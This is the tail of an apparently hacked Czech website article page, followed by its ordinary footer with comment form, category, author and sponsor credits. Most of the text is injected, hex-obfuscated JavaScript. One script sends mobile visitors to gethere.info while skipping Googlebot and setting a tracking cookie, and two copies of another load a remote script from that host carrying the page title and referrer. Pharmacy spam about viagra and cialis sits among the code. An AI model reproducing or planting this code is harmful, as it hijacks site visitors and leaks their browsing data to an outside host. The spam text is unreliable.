)|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×d052=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­33\x63\x58\x66\x71\x6B\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var _0×b322=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­32\x36\x34\x64\x70\x72\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} neurontin online retin a where to buy in canada. , best way to buy viagra online Brand Viagra cheap . is generic viagra safe. rx4u pharmacy. dapoxetine online su ordinazione dutas . 5mg generic cialis in australia. var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}

Doporučit článek příteli
  1. *
  2. *
  3. *
  4. *
 

cforms contact form by delicious:days

Rubrika: Odborné články, Rozhovory

Zveřejnil: Kateřina Byloková

Štítky: ,

Sekce: Profesionál, Podnikatel, Student

Související články

Žádné komentáře »

Zatím nemáte žádné komentáře.

RSS komentářů k tomuto příspěvku.

Napsat komentář

Garant projektu

\"Kabinet

Realizátor projektu

\"Realizátor